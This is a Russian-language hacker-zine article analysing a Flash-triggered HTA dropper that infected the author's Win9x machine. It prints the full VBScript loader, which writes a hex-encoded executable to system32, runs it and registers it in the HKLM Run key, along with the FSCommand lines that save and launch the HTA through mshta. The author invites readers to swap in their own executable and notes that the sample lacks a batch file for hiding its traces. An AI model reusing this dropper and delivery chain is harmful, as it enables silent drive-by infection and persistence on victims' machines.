I am a man who walks alone
And when I'm walking a dark road
At night or scrolling through the park
When the light begins to change
I some times feel a little strange
A little anxiouns when it's dark
("Fear of the dark" Iron Maiden)

Здарова дружище вот решил с тобой потолковать на тему компьютерных
заболеваний. В одно из обычных путешествий по Inet'у я заметил, что мой
Осёл повесился, ну я подумал что это обычный сбой 98-х дверей от Гейтса.
Ну ребутнулся, конектинг снова вызвал тот же сбой. Лады, думаю, где там у
меня касперский завалялся. Каспер-про тоже подумал и заявил, что мол
нету у тебя заболеваний. Ну я ему не очень поверил и решил сам за него
поработать. Полез ACDSee'ей в Temporary Internet Files и там все
пощупал. Наткнулся на Flash ролик, после запуска которого вылетело окно hta приложение со странными
закорючками. Ага, подумал я, попался. Был подсажен вирь с
целью зомбирования моего компа.

Изучая данный файл (который довольно прост) можно увидеть, что сборка
exe вируса происходит на стороне клиента и после уже прописывает
себя в реестр Window. А вирус в свою очередь заносится в ядро винды.
Дейстие вируса направлено на создание ошибок в ОС.
Вирус запускается с помощью flash ролика. Любой Win9x пользователь,
посетивший страницу с данным flash-роликом, будет заражен.

Текст hta файла:

&v=<script language=vbs>Set o=CreateObject("Scripting.FileSystemObject") 
Set s=CreateObject("WScript.Shell") 
p=s.ExpandEnvironmentStrings("%WinDir%\system32\winvm32.exe") 
If not o.FileExists(p) Then 
t=Split("4D,5A,90,00,(... 
... // Здесь распологается тело exe файла в 16-ричном виде 
... // (что нам мешает свой файл вставить?) 
...)00,00,00",",") 
Set f=o.CreateTextFile(p,2) 
For i=0 To UBound(t) 
f.Write chr(Int("&H"&t(i))) 
Next 
f.Close 
s.run(p) 
s.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WinVM32",p,"REG_SZ" 
End If 
close()</script> 

Из Flash'а данный файл запускается командами Flash ActionScript:

FSCommand: save c:\temp.hta
FSCommand: exec mshta.exe c:\temp.hta

Просмотрев само тело собранного файла я обнаружил, что он сделан UPX Team
http://vpx.tsx.org. Cайт данной команды указывает на то что она занимается
системными ошибками. В данном примере не
хватает хотя бы батника для заметания следов.
Вот такие вот колдуны...

Оставить мнение